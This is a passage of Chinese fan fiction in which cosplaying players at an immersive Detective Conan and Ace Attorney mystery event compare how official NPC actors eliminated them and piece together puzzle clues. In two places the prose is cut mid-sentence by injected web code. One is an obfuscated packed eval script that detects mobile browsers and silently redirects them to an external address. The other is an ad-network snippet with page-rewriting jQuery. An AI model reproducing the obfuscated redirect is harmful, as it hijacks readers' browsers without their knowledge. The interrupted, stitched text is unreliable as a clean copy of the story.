哈维依旧在这里等候。大会场可以叫酒进去,他忙于工作,一时半会也没有休息时间。宫野志保看出来自己没法说上话,环顾四周,看见熟悉的人。之前那个被挂成圣诞树的琴酒摘了帽子坐着休息,对面是莱伊——嗯,长头发,应该是莱伊时期。她走过去坐下,问:“这个小黑屋是要待够多久或者做什么任务才能走吗?” 莱伊说:“不用啊。想走随时可以走,就是重新走一遍路程,坐电梯先回你的房间然后重新进场就行了。” “那我看这里人还挺多的……” “因为一直在死人啊。”琴酒放下酒杯,“你第一次死?你是哪个场次的?” “邮轮剧场版的。” “哦船啊……不过船也不简单吧?我感觉叶樱院最简单。” “真假的。”莱伊看他一眼,似笑非笑,“那你是哪个场次被送下来的。” 琴酒憋了半天,最后闷闷地回答:“叶樱院。” 莱伊素质很差的嘲笑起来了,宫野志保想乐,但是暂且还比较有素质:“我连我自己怎么出局的都不知道呢。你们是怎么被送走的?” 琴酒皮下确实如她所言,是一个和善的小女孩,老老实实地回答:“……在叶樱院碰到官方的赤井秀一了,剩下的不用我说了吧——哇,他电的好痛啊。” 宫野志保听的头皮发麻:“……啥意思啊官方会下场打人吗?那得是什么画面啊,你说得对但是D5人格是一款……” “也不算吧。我们总结出来,目前的规律是,不带远程武器的官C是你进了他的视野就可以判定开始抓,抓捕是否成功,官C自己有个骰子可以ROLL的,根据数值来判断你有没有成功逃脱,或者干脆反杀。失败了那就只能被电然后老老实实回来蹲大牢。”这个琴酒指了指莱伊(这个莱伊皮下也是女生),“她被抓是被远程判定了。可能是狙吧,还是法术?不确定……反正佩戴远程武器的官C是你进了他攻击范围就能动手,不过相应的ROLL点需求也会变,反正还算平衡。” “而且顺便一提,电击出局并不代表着被杀。”莱伊说,“就比如说如果你是被红方抓走,驱赶,这些都属于不能继续参与的类别,也一样会被电然后重新入场。”说到这里她嘿嘿一笑:“我有一回就是被官方的降谷零抓的。降谷零还起的大狙,判定成功以后他还专门下来嘲讽我:‘明目张胆地往瞄准镜里走,FBI不会觉得世界上没有第二个人会狙击了吧?’——我的天!别人我不知道,官方给降谷零的皮下培训的是对赤井秀一露头就秒吧????……真受不了。我都想换个场了,我记得船上的主要角色没那么多,汐华真在新TV里也挺好说话,所以咱俩换换终端?” “……不好意思,我对于邮轮还有些事没弄懂……” “哎呀没事。不换就不换吧。”莱伊摆摆手,琴酒斜她一眼:“你看吧,谁要和你换!你到底准备什么时候回场啊?” “再等等呗。” 眼见这两位要旁若无人的拌起嘴了,宫野志保回忆了一下,不太确定,又道:“……不过说实话,我怎么觉得我就是被汐华真理送走的呢?” 二人侧目。莱伊大为震撼:“啊?那小子把你弄死了?啥情况,贝尔摩德变的啊(?” “是被他抓了吧?”琴酒说,“最新那集不是说他是安室透联络人吗,估计知道雪莉长什么样,看你一个人在船上,又没个别人陪着——我要是他肯定也亮警官证调船上安保把你控制起来,下船就有人带你走了。” “啊——原来如此。”宫野志保有点不甘地拉长声音,“我完全没有意识到啊……还跟他说了半天话,什么人嘛!我告诉他琴弦不对的时候他心里却在想着把我抓起来?” “你还和他聊了?”莱伊十分意外,“我就说汐华真脾气好吧,人家抓你之前还陪聊呢。这点他领导不如他——不过降谷零跟我聊,好奇怪啊算了还是别聊了——等你跟我们一样连凶手长啥样都没看见立刻死去活来十几次就老实了。” “他都跟你说什么了?”琴酒盯着她的脸,“等一下……我才发现你就是解锁演奏厅的那个宫野志保?莱伊!把她摁住!” “好嘞!”莱伊特阳光地应下来,一把抓住宫野志保的手腕,她惊恐万分地目送那个琴酒跑去大会场摇人——不知道说了什么,过了一会,人民群众的汪洋大海就涌了过来。 宫野志保:? 莱伊看着她懵逼的表情,好心地解释一句:“观光票也是跟进游玩进程的。……你一声不吭直接开了个新地图,你猜大家怎么想?”她笑眯眯地凑近,又补了一句,“看这架势,你一时半会走不掉。所以把终端换给我呗?” ……还真是。宫野志保忽然心神清明,想到自己录下来的视频正好可以拿来讨论,也许真要做好被围到水泄不通出不去的程度,难道接下来的游玩时长就要浪费掉吗?于是干脆利落拿过莱伊的终端加好友再把视频传过去:“可以,那我用你的终端放视频,你拿着我的终端去玩吧。” “……也好。”莱伊看了她一眼,“我会给你返图的。”她举了举手上的终端,“随时联系?” 宫野志保点点头。 62.休憩段00:30 应当说,本次线下活动并没有私下鼓励玩家进行COS活动。 因为他们是明着鼓励的。 倒不是说带上假发就像开了风灵月影视门禁如无物,毕竟披上皮也有可能被官方仇家追着打;但是显而易见的,解锁不同反馈的概率变得大得多,无论是来自于NPC还是普通路人。(或许还有已经被电出PTSD的玩家) 贝尔摩德和阿莱塔从场上下来。回房间的路不麻烦,麻烦的是周围的群演。事情是这样的,可能在演员们接受的培训中,只要看见有玩家COS了女角色,一律自带一个美貌标签,视情况以及环境条件进行合理反馈。比方说有个群演过来请阿莱塔喝酒,皮下实在懒得说场面话应付,戳戳同桌的贝尔摩德:上!贝尔摩德白她一眼:懒不死你,摘了墨镜,朝着群演那边一看,全体老实。 代价是过了一会,有人来邀请贝尔摩德去后场。大概是想到要邀请这样一位女演员去后台提一些建议。当然他们的话说的很客气,说的是邀请温亚德女士来游玩。贝尔摩德说嗯嗯等会去,然后等人走了以后滚回房间瘫着不乐意动。其实无视掉眼下暗流涌动的环境的话,这里的陈设布置相当不错;哪怕你一点剧情不碰的买了游玩票,然后全程运气差到没见过一次主要NPC,纯粹的观赏和游玩也值得了——无论是船上的吧台,又或者是叶樱院的住持,包括古堡中负责全部支出安排的铃木老头,都不会因为你穿着常服而不提供饮食,或是不允许拍摄。 两位女士在套间客厅里瘫着,时不时摇铃叫人送些酒水;二位接下来的安排相当简单,也就是等到演奏会开始后架起长枪短炮看汐华真女装。这一次门开后,阿莱塔习惯性地喊:“放在门口的柜子上就行……” 喊完才觉得有点不对,回头一看,原来是开的门不对。 阿莱塔愣了一秒,一拍桌子:“温亚德!FBI打过来了!” “啥????” 本来在地毯上躺的好好的搓游戏的贝尔摩德腾一下坐起来了,回头一看,人家标志性的黑色针织帽就明明白白地出现在视野里,给人家好好一个千面魔女吓跳起来,开了门就窜了出去,丢下一句:“阿莱塔靠你了拖住!” 说完人就没影了。留下阿莱塔和莱伊面面相觑,尽享尴尬。阿莱塔把易拉罐往后面收了收,胳膊撑在膝盖上,看了莱伊一眼:“……不是NPC吧。” 莱伊找了个地坐下,十分不客气,拿了一瓶没开的汽水屈指弹了弹气打开:“看起来有那么廉价吗我?我觉得我道具准备的还挺齐全的呢——” “你从志保的房间出来的。让我猜猜,她刚才是不是回大厅了?然后你和她换终端了?” “全对。所以你不把贝姐叫回来?” 阿莱塔一笑:“谁知道我们的下班冠军跑到哪里去了。别管啦!我发个消息给她,她跑累了自然会看见的。” “你们是一点都不急推剧情啊?” “玩呗,太着急可就不好玩了。” “所以说演奏会不是你们三个一起开的区域?就一直是雪莉在输出然后你们两个在挂机?”莱伊问,“我还想着能不能交换一下情报呢,看来是来错地方了。” “来错地方也没看你嘴闲下来。我看你喝我们的酒喝的挺带劲的啊?”阿莱塔点了根烟,“她除了进房间和我们一起,接下来的游玩中压根没见过面。她怎么没的?” “被NPC汐华真叉出去了。” “噗。”阿莱塔半真半假地替宫野志保鸣不平,“这是欺负小姑娘!他一个警察不去抓温亚德不去抓琴酒,抓我们可怜无助的小研究员,波本就是这么教他的?公安的良心都坏完了。” “那她也单人开出来了个新区域啊。”莱伊瞥她一眼,“反正不像有些人瘫着不乐意动。” “关你什么事呢!” “……我可是为了这次游玩找我咖喱人做了好久思想工作,就算电死也得死在旅馆里。” “嚯你说话也太吓人了。”阿莱塔被她的话噎了一下,“还要跟咖喱人做思想工作,要钱是吧?大学生?” “……高二。” 阿莱塔一把把烟掐了,不可置信道:“你才高二?高二的小姑娘一米八?我觉得你没垫多少啊?——不许喝酒。你家里人没教过你不准吃陌生人的东西吗?” “陌生人给的东西不能吃,但是陌生人的东西可以要来吃,他还没来得及下药。何况我渴的很。再说了这是果汁吧?感觉甜甜的,没什么度数啊。” “喝酒不解渴,越喝越渴。我去叫水。”阿莱塔摁响了呼叫铃,交代几句后一扭头莱伊还在那狗狗祟祟的开罐,伸手拿走,“还喝!” “你不用叫水啦。”大概知道对面的皮下是成年人,实际上是女高的莱伊失去了仗着皮为所欲为的底气,连带着整个人都变得乖巧起来,“你要是一点解密都不涉及的话,我就走了。时间是挺宽松的,但是能换终端换区域就变得很紧,我还想多玩点,电死都没问题。” “……啥叫想多玩点电死都没问题?咋的被秀一腌入味了?一张口就是污人清白?” 莱伊(女高)一站起来就惨遭打脸,喝着像汽水果汁一样的饮料劲大的厉害,给人喝的一个趔趄;阿莱塔扑哧一下乐了说你太会喝了我平时加班失眠就灌这个断片酒,乐归乐,呼叫侍应生让他们再送一份蜂蜜上来。女高被她拉回来坐下,趴在桌子上缓缓;阿莱塔就在她边上聊天:“你是从哪个区域换来的?” “……泥砖菜盘联动篇。” “哇,最新TV?那可是个大场子啊。” “大吗?我不觉得啊?”女高莱伊摊在桌子上像一块饼,“为啥我把把被安室透锁头?我在哪他蹲哪,玩不下去了这才在大厅碰运气,万一主办方不让换终端我真要被电死了……呜呜他真的不是黑方吗????” 她不用抬头就知道背后的阿莱塔在憋笑,懒得挣扎了,邪恶成年人是这样的。 “他怎么蹲你的?” “一开始还愿意说点什么——不过也是打谜语——后面就起大狙。一点耐心都没有了,感觉在赶我走。” 阿莱塔顿了顿,或许自己都不明白自己在说什么:“……没准真的在赶你走呢。” 莱伊此时大脑一坨浆糊,胡乱应了几声:“所以我啊,换了个波本不在的……结果一来就喝了个大的,走不动路……怎么这么倒霉啊,真受不了……” 突如其来的门铃声闯进耳朵。阿莱塔去开门,莱伊支棱起来,目送对方的背影,嗷嗷待哺。结果听见声音以后,脑子一麻差点直接栽在桌子底下。 阿莱塔拉开门,然后愣住了。她冷静地想,我这门是盲盒吗。 这一晚上都抽出啥东西来了。 波本,或者说安室透——随便你想怎么说吧哥们你为什么在这里——端着盘子。上面是她要的蜂蜜。这可真是honey trap,字面意义上的。他是官方的NPC,毫无疑义,板上钉钉,阿莱塔看到他的一瞬间就意识到了,没有别的可能。她立刻横跨一步,用身躯挡在门口,阻碍安室透的视线。希望没有触发他的捕捉判定——里头那个女高喝的要死要活的,被电一下可不好受。 “——你为什么在这里?” 安室透问。 阿莱塔听的心惊,就好像真的已经有一股电流袭击了她的心头,这是波本吧,这一定是波本吧!而且多半是看见了……心里几乎要给里头那个莱伊唱葬礼进行曲了,很想问她是不是莱伊这个皮的被动就是召唤一个安室透出来追着打—— 即便如此,在极其震惊的思绪之中,阿莱塔的心中却依旧有一个声音,轻轻地对她说:他说话是否太直接了些?太口不择言,太仇恨,太敌视。 假设他真的看见了莱伊的话。 我还不希望那个孩子就这么回大厅。阿莱塔尽快思考着对策:如果说是ROLL点的话,放倒一个和放倒两个需要的点数肯定不同吧?TV里阿莱塔那么能打,点数需求一定很高。虽然平时我总是指责红方互殴,但是真的到了这种关头,居然还得我主动搞红方内斗……死小真是一部神奇的作品。 “你什么都没看见。不该出现的人没出现,也不该出现。” 阿莱塔说,同时扣住了门框。我就不信了日本战狼还能丢出一个超级大成功给我们这一屋子全端走。退一万步说!就算全端走了,又能怎么样!咋的老娘又没喝大,十五分钟以后爬回来又是一条好汉。(莱伊那样子就不好说还能不能爬回来了) 她这样说。不知为何,想起一句话:人们总是带给我战栗。但是我也带给人们同样的战栗。 对方退了一步,死死地盯着她的脸。官方请来的COSER质量极高,帅的令人瞠目结舌;如果当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591187|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个御剑怜侍看到的就是这位安室透的话,一瞬间忘掉自己姓甚名谁都是常事。然而质量也太高,紫灰色的眼睛折射出的光如此锋利,以至于看起来杀了两个人也不奇怪(真宵音)。阿莱塔一瞬间心神大骇。 但是门被关上了。 门板被不算客气地拍在阿莱塔面前。她愣愣地回头,心道还是自己虚了,用脑子想也知道除非轰火箭炮,否则同时塞了一个阿莱塔和一个(ROLL点上可没有醉酒debuff的)莱伊的房间,谁能端掉。她转身,倒霉女高几乎被吓得清醒了,虽然手捂着头,喝多了大概还是头痛;但还用另一只手打了个响指:“……你知道我想起了什么?” “醒酒了,你又行了?”阿莱塔扫了她一眼,“赶紧说,等会又睡着了。” “怎么这么没耐心?素质好差。”莱伊深吸一口气,“我忽然想起一回事。我头一次在证物室被拦下来出局的时候,被安室透问了一串意义不明的问题。我什么都不知道,然后他咔一下给我弄死了,这就开了一个坏头,我一出现他就送我出局。” “他问你什么了?” “他问我——或者说问的是莱伊:莱伊和阿莱塔,到底有没有私下见过?可是这种事我哪里知道?TV又没演。” “TV没演不代表不存在,他这么问,说明大概率其实是见过的。这东西算TV隐藏剧情吗?还是这次活动的专属剧情?” “咱们这下是真见面了。” 阿莱塔被她呛了一下,深吸一口气,翻了个白眼。莱伊看她这个反应心情好了,话题撤回来: “我也觉得发生过,我说见过,他就追问我发生了什么,我啥都不知道!然后我就不说,他急了,咔给我送走了。”莱伊想到之前被电的死去活来,大概有点头皮发麻,“但是那次联动剧情里本来也有阿莱塔。我试过去拘留所找她,但是从没成功过。这么多次下来我也觉得没意思,所以换了个场次。说真的,去掉原作滤镜看,难道因为我披这个皮就要被NPC锁头吗?策划到底是怎么想的?……我真的觉得我们这批新玩家走了以后,在社媒上分享完游玩细节,以后来玩的全都出宫野志保或者阿莱塔。前者所有人都对她和和气气,后者见谁ROLL点都不输。” 阿莱塔静静地看着她。莱伊说:“你看我干什么。” “……我在想,有个不合理的地方。”阿莱塔慢慢说,“你是在联动场。联动场有官方的赤井秀一,有官方的阿莱塔。也就是说,这个问题,按道理来说,不该问你。” “什么意思?” “他们可以内部解决。你明白吗?毕竟,毕竟他们三个都是红方啊,应该吧?这种问题完全可以他们内部说一声确认一下。但是没有。说明至少在当时的情况下,这三个人不能随心所欲地交换信息。” “原作也确实是这样的啊?”莱伊回忆了一下,“我离开的时候进度连开庭都没推到,他俩的联络方式我记得得到官司打到最后,大游行阶段才被汐华真理接通。” “……但他们都可以问阿莱塔。”阿莱塔——称呼自己的名字好怪——点了点桌子,“却都没有问。是问不成吗?阿莱塔在前期是自由人。甚至主动找过安室透。赤井秀一不认识她吗?认识,两人之前也见过面。” 但都没有选择找她。 “还有另一点我很在意。”阿莱塔有点烦躁地揉了揉假发,“这没有原因,只是灵感在提示我罢了。我盯着你看的时候忽然想起——咱们在大厅喝酒的时候,解锁的‘哈耳庇厄之恨’,你还记得是怎么解锁的吗?” “我回忆一下。呃,先是御剑说走楼梯上天台见到的是安室透,然后宫野志保下结论说天台上同时有赤井秀一和安室透,接下来舟桥佑希来了一嘴,说,应该是赤井秀一和‘降谷零’才对……” “……就是这个。”阿莱塔说,“也有可能,是这个问题并不是‘赤井秀一’能或者会回答的问题,他必须得问‘莱伊’才行。你的状态很重要。” “这是不是可以确定时间点?”莱伊说,“赤井秀一还是‘莱伊’……那至少得把时间线控制在古堡之前。这么看,这艘船我或许上对了。” 她略微放松下来,但余光瞥见阿莱塔还是相当焦虑,抬起眼:“怎么了?这么不安?” “贝尔摩德现在还没有看见我的消息。消息是未读状态,很奇怪。” 63.休憩段00:20 “……所以说现在的重点在于这段完全不同的演出到底意味着什么。” 成步堂美贯一开始盘腿坐地上,人很小很清瘦一个,年轻的女孩看起来身体不好,宫野志保连忙把她拉到座位上来,捉着她的胳膊,觉得很冷。宫野志保分了一点心思去看她的手腕,没有手环,说明这位买的是观光票,还好。就这个孩子的身体情况,被电一下那是真可能出大问题的。 成步堂美贯留意到她的视线,问怎么了。宫野志保说没什么,只问她喝果汁还是牛奶。成步堂美贯忍不住笑了,说白水就好,又说:“我见过你。” 宫野志保不明所以,成步堂美贯补充道:“第一次线下观影。那时候你也出的宫野志保。你记得我吗?很多人都给我送了快斗的制品。我很感谢他们。” 那她就有印象了。宫野志保问:“你身体怎么样了?” “还好。你说这话的时候真像个医生。”成步堂美贯轻轻地说,“不过这次散场以后,还有一场手术。我说不定会下不来呢。” “别说这种话。”宫野志保皱了皱眉,看她一眼,“……不过你怎么出的美贯?” “撑不起来男生的衣服,再说了我喜欢的一直都是会变魔术的向日葵,我也去云了逆四,很喜欢美贯。”她笑了笑,“如果真的到那种时候,一想到我还没有出过快斗,执念说不定会带我挺过去呢。” 真正有兴趣解密的人肯定买了解密票,碍于身体因素不能参加的人毕竟是少数;在大会场一边吃喝一边看真人秀当然有意思,真到线下动脑子一会儿没声音自己都尴尬的受不了。人确实是多,过一会也散了。还留着几个老老实实涛剧情的,乍一看也算是符合原著:成步堂美贯拉来的黑羽快斗拉来的工藤新一(过了一会黑羽快斗说是饿了想吃夜宵跑了,这人什么素质),一般路过欣然加入的降谷零,再加一个汐华真理和几个普通装扮的玩家。大伙对着宫野志保的录像奋笔疾书,乍一看活像是警视厅几大首脑带便衣警察开会准备端掉酒厂。宫野志保瞥了一眼成步堂美贯,发现这孩子高脚杯喝温开水,对着录像玩手机,玩的相当投入。她玩就玩呗,不然呢,累死了怎么办。宫野志保觉得一切顺理成章,至于美贯占了个座导致来的最晚的汐华真理坐地上这个事,她就装没看见。不然呢!难道让美贯坐地上吗! 过了没一会,成步堂美贯忽然举手:“你们有人会弹钢琴的吗?” 全都摇头。工藤新一说自己只会拉小提琴,汐华真说我OOC了我会吹唢呐成吗,被全体白了一眼。美贯倒是个温柔的孩子,说如果这里有唢呐的话也不是不行,但是大厅只有钢琴。她又自行去问别人,结果不是没学过就是考完级就忘干净了,我们这个作品的同人的音乐造纸竟然如此贫瘠.jpg 最后没有办法,她一路问到哈维,对方听后,神色平淡,说:“当然。您有任何需求都可以找我,钢琴曲自然也在内——即便我们的菜单缺少这一节目,但是满足顾客的需要依旧是重中之重。” ……对,电影院的工作人员确实说过这样的话,有什么需求可以求助哈维。如果这在NPC的培训内容之中,那么,我是否可以理解为自己走对了方向? 宫野志保远远地看了她一眼,问她发生什么了。美贯说没什么,是她扒出来视频里汐华真理弹的曲谱了,她没有听过,视频里又识别不出来,所以准备让哈维复刻一遍,她录下来再行打算。宫野志保点点头,刚把视线转回来,才后知后觉:这孩子刚才说什么?扒谱? 你不应该出成步堂美贯。你应该出江户川柯南。她腹诽一句,心想这半天也搞不出个什么名堂,干脆过去听美贯唱歌,她唱一句,哈维弹一个音。宫野志保不回头也可以感觉到自己那一桌的人都安安静静地围了过来,汐华真理很不客气地下巴搁她肩膀上:“为什么不是成步堂龙一弹琴?复刻成步堂演艺事务所日常表演。” 真理皮下是女孩,所以可以忍她凑这么近;但是她脸小下巴实在很尖,戳的宫野志保肩膀钝钝的痛,没好气地推了一把这个白毛团子,叫她不许再刺杀自己的肩膀。 “成步堂在波鲁哈吉可不会弹钢琴。‘不会弹钢琴的钢琴师’,‘七年未尝一败的扑克牌玩家’……这么看倒也挺符合原作?” 宫野志保循声回望,下意识地后退,才反应过来这时是在大厅而不是游戏过程中,无需躲避。然而非要说起来,官方的牙琉雾人想要淘汰别人,又该怎么操作呢? 她轻轻地看了一眼这二位不请自来的客人。牙琉雾人,还有……苏格兰? 这样的人员组成看起来真是不妙,不是吗。但也是看见这二位玩家的瞬间,她肩膀上的重量一轻。白毛小警察立正了。从这点上来看,他们的到来倒成了好事了。 牙琉雾人盯着唱歌的成步堂美贯看。宫野志保很愿意相信他的皮下本分老实,但目光隔了一层眼镜后变得意味不明;苏格兰倒是笑笑,对着宫野志保和汐华真理很和气地问好。这三个人也就顺理成章地凑在一起,单留牙琉雾人在边上打野;正所谓一创拖累二创,雾人显然把这个皮腌入味了,连带着皮下的coser也爹不疼娘不爱,看了真是心酸。 “你别紧张。”牙琉雾人看了一眼汐华真理,“没事。我是被你送下来的。” “你这么说我可没法不紧张。”汐华真理说,“就算是官方的也……”代入感强还真不是什么好事。 “真的没事。因为你也被他坑了一手。”牙琉雾人指了一下苏格兰,“虽然不是同一个场次。我打的联动版,他打的铃木次郎吉暴风雪山庄。我在联动版证物室调查的时候ROLL骰子已经快要赢御剑怜侍了,但是汐华真理忽然打出来……我没想到那个家伙挺能打的,把我从证物室叉出去了。” 汐华真理点点头,忽然发现不对:“你说什么?他把我……什么意思啊?我没去过那个暴风雪山庄场次啊!” “那是我的措辞有问题。”牙琉雾人笑了一下,“抱歉。我的意思是,他把官方的NPC搞下课了。” “替你报仇了。”苏格兰甚至抓住话的间隙,远远地朝着宫野志保递了个微笑。宫野志保心说谢谢你好了还是离我远一点吧,并且真的开始怀疑起来是不是大伙的皮真的能把玩家腌入味。 “……你是怎么做到的。” “我也不是故意的,一开始并没有那个意思。”苏格兰好像很不好意思一般,先叠甲免责声明,“那个暴风雪山庄场次毕竟很小,而且凶手又一早由大家知道,导致那个场次的胜利条件是完全不同的,只能去帮凶手——也就是那个青蛙遮掩罪行,避免他被官方的江户川柯南发现。那个场次的胜负判断不只局限于玩家存活状态,而是在自己死前和凶手被找到之前,如果连一个密码都没有独立或与他人合作解出的话,就会电击,然后全场重启。一直到所有人满足条件,才会被放出来。所以……” “所以你在密码即将解出,真凶却又被找到的时候,不惜再制造一案,令官方的NPC不得不得出‘真凶另有他人’的结论,延长游玩时长。我看了你的实况,很厉害的思路。”刚才还和工藤新一成步堂美贯对着哈维复刻的钢琴曲研究的降谷零不知道什么时候已经站起来,直直地盯着苏格兰看。虽然说的都是好话,苏格兰也大大方方地眨眨眼说感谢你的认可,没什么不对。但是汐华真理就抓着宫野志保小碎步往后挪,说他俩这氛围怎么这么奇怪,哪里都奇怪。 宫野志保冷冰冰飘出来一句:“我在路上碰到前男友带着他现女友,发现那个姑娘和自己长得有共同点也会不说人话。”汐华真理一开始没懂,但是视线划过牙琉雾人的脸,立刻发出一阵宛如汽车轮胎打滑般的奇妙b动静,被宫野志保捂嘴摁住。她一边摁滋哇乱叫的耗子,一边试图插入对话缓和气氛——又要处理小白鼠又要调节情感问题,雪莉你真是辛苦了——她问:“所以你就谋害了官方的汐华真理?官方的NPC要怎么淘汰啊?我们可以主动发起ROLL点吗?还是说出黑方ROLL红方,出红方ROLL黑方?” “纯属意外。”苏格兰说,“我发誓。我一开始只是和同一场的美柳千奈美商量好,她主动死在我手上,这样至少可以再延长一晚,而作为交换我会专门给她破一个本子的密码。——顺便一提,千奈美是我身边这位雾人的朋友——本来不是多麻烦的计划,但是偏偏美柳千奈美是可以触发灵媒的,而那个青蛙也确实会;所以在他已经被江户川柯南他们关在小黑屋,等雨停就扭送下山的时候,Daot灵媒了千奈美,问她准备做什么。千奈美与我商量之后,认为汐华真理和赤井秀一都很难办,如果要为我争取时间,一定要选择一个下手。但是对赤井秀一下手,显而易见的机会渺茫,所以她决心试一试汐华真理。这不是玩家对NPC发起ROLL点,而是NPC对NPC发起ROLL点;而汐华真理呢……他毕竟没什么法抗,阿莱塔也没有出来打断,所以结局你们也能猜到。” “……啊?为什么是我?” 滋哇乱叫的耗子抽空为自己声张正义,苏格兰轻轻地瞥了他一眼:“不知道。总而言之,我们又有了一晚的时间。” 他这样回答,听的三人反应都不相同。宫野志保还想再问接下来发生了什么,降谷零又语调奇妙地问:既然你选择这么延长时间,最后成功破解密码了吗?和宫野志保问的好像是一回事,细品之下却有一点微妙的差异。汐华真理还是很介意,鼠脑过载,吱吱叫唤为什么死的是自己,为什么阿莱塔不来救场,被宫野志保发卖去跟工藤新一成步堂美贯现学音乐——考虑到唢呐也是乐器,把这三个有音乐素养的安排到一起也还算合适。 “看到成功的不是我。”苏格兰诚恳地回望降谷零,“就像我说的,即便如此,也只拖延了一晚。而当时我几乎没有时间,没有机会再去找一个玩家,谈妥合作,然后令她心甘情愿地死去,来再争取一回合。故技重施的效果会越来越差,而我相信我已经被锁定了——被官方的江户川柯南。” “……所以呢?”降谷零顺着他的话头问下去,仿佛是察觉自己的语气太生硬,于是找补,“我没有看你的实况,不知道后面发生了什么。” “没什么。不过是说,既然一条人命可以拖一回合,我也姑且是个人吧。”他笑了。 他说话比较吓人,一时间有些尴尬。宫野志保先开口:“……居然可以自杀吗?” “不可以。”苏格兰回答的干脆利落,“而且自杀的现场一眼便知。千奈美是我送走的,但是这一次千奈美不能送我走了;所以我选了阿莱塔。” “那一集有赤井秀一吧?”宫野志保回忆了一下,“红方人多,不过大人只有赤井秀一和阿莱塔,总感觉赤井秀一才是那个可能在极端情况下杀手的……” “因为我不想被杀死。”苏格兰说,“那个时候我们场只剩下我和水无怜奈。那个水无怜奈我不认识,之前也没有怎么交流,如果我退场,就相当于水无怜奈一根独苗一回合开三个笔记本,这几乎不可能。我必须miss in action,下落不明;才能牵制目光,利益最大化。” 牙琉雾人好像想到了什么:“……阿莱塔把你关起来了?” 苏格兰点点头。 “厉害。你对她说什么了?” “我骗她汐华真理是我设计谋害的——当然那其实只是误打误撞的操作,主要功劳在千奈美——照例放了几句狠话,什么他的秘密我已经全都知道了,希望你能听我的之类……她反手就把我关到地窖去了,然后触发剧情,怪盗基德来偷宝石。” “你凭什么觉得她不会下杀手?” “直觉吧。” “我记得原作是赤井秀一被怀疑然后去地窖,触发机关?到了你们那一场,这么紧张刺激的拖延时间才解锁了本该解锁的剧情……真是绕了好远啊。”听到宫野志保感叹,降谷零大概放平心态了,加入讨论:“这样确实是一解。甚至,相当出彩?毕竟逻辑上讲阿莱塔要保住你不被FBI带走,就势必要帮你伪装踪迹;没有队友就化敌为友,NPC和NPC之间再次拉锯。……你真的,太擅长搞内讧了。” 苏格兰不置可否,只说:“算你在夸我吧。反正我最后还是活到了结算,五周目通关,听起来不快不慢。不过我活罪难逃,那个场次不算彻底通关。因为密码被成功解开,我们这一批人是被放出来了,只希望下一批能更聪明些——千奈美下来了。所以你们要听我们分享一下场次专属情报吗?” “换个大点的桌子坐吧。”宫野志保说,“对了,你有解锁什么,地点,或者区域……?” 她直接拿到了一个终端。苏格兰看着她:“反正我接下来也同样要在大厅停留很久,给你保管,也没有问题?” “请勿吸烟”。 一张告示牌。 [区域已解锁] [我们充分理解您的生命毫无价值,但是天然气真的很贵。] 暴雨忽然倾泻下来,现在是凌晨三点四十左右。假如不下雨,这一夜的月亮应该又大又亮。她先是撩开窗帘,想去看波涛汹涌的大海;才想起来此时自己并不在邮轮上,只是在旅馆模拟的演出后台。暴雨当然是真实的,但她没有闻到海腥味,而是草地和泥土的味道。贝尔摩德一开始是没有时间看信息,后来看到了,觉得一句话说不清楚,抽空回了条消息,说自己这里安全,只是撞进剧情里去了。阿莱塔确认她安全无恙后,立刻放下心来,连骂她十几句见色忘友。贝尔摩德权当看不见,手机背后传来一声疑问: “莎朗女士?” 她关上手机,屏幕扣在翘起折叠的膝盖上,双手交叠,从墨镜后打量来人。对方摸摸鼻子,流露出一点难以为情的神情,走上前几步,弯腰:“我看起来还是很像男的吗?” 贝尔摩德透过对方层层叠叠的头纱,直视他鲜红的眼睛。 “是。”她说。 其实她困了。贝尔摩德皮下是个天天哭着唱乐意效劳起床通勤两小时上班的社畜,虽然提前调整作息了但是怎么都睡不够,刚才又炫了一点点断片酒,正是困得找不着北的时间。 然后汐华真理啪一下把他的帅脸丢过来。 贝尔摩德:卧槽啊。 话还得从头说起。贝尔摩德被玩家吓跑,踏出去没两步,回过味来,心想这一集哪有赤井秀一啊没有啊!准备回去。秉持着这样的心理在回屋路上碰到了去送蜂蜜的官方安室透,她大咧咧上去搭了两句话意识到特么的这是官方的,但是邮轮有安室透吗没有吧!那我能不能等量代换成莱伊也是官方的?她越想越虚,应付两句跑了。感谢自己穿的皮正主给劲,知道安室透是卧底,不用被ROLL点就能润。 然后扭头撞见了汐华真理。女装的。 所以说正主真的把这个皮腌入味了吧我这个社畜头一次男人缘这么好啊! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 贝尔摩德皮下一声尖叫,表面上只是歪了一下头,墨镜受重力作用,微微地斜了下来,她就在这投出视线,而汐华真理也回望她,显然,认出了她。 莎朗女士?他犹豫了一下,这样说。贝尔摩德一开始是想润,但是冷风一吹,忽然心神明晰:我来是为了干嘛?是为了看汐华真女装拉琴。但是女装拉琴在她这纯属偏义复词,重点不是拉琴是女装。不拉琴光女装行不行?太行了。那我现在在看什么? 女装。 牡丹花下死做鬼也风流!冲刺! 贝尔摩德轻轻点了一下头:“急急忙忙的,去干什么?” “您为什么在这里?”汐华真理不回答她。阿莱塔跟她说这一场的汐华真理把宫野志保送走了,叫她小心。贝尔摩德答应的好好的,然后现在开始悍然调戏小孩。呵呵也就有本事欺负小女孩,碰到姐还不是得夹起尾巴做人。贝尔摩德一瞬间恶趣味爆发,语气轻佻反问:“我为什么不能在这里?” 汐华真理看她一眼,低下头:“抱歉。莎朗温亚德女士是前影后,在这里理所应当,我是随便问问。”说完就要走。贝尔摩德没硬抓,也怕触发体术ROLL点,于是不近不远地跟着,看体态,觉得对方已经换了高跟鞋。他换了高跟鞋,居然不为此步履维艰。这当然很值得粉丝在群里大书特书,公说公有理嬷说嬷嬷你。但贝尔摩德思绪却飘忽了一瞬间,心想,他为什么会踩高跟鞋?波本你就这么练你的协助人?(不 这个谜团像一个微弱的电信号,像一个人濒死前残留的意识,在蒙昧的年代,人们管它叫幽灵。幽灵一样的问题飘走了。 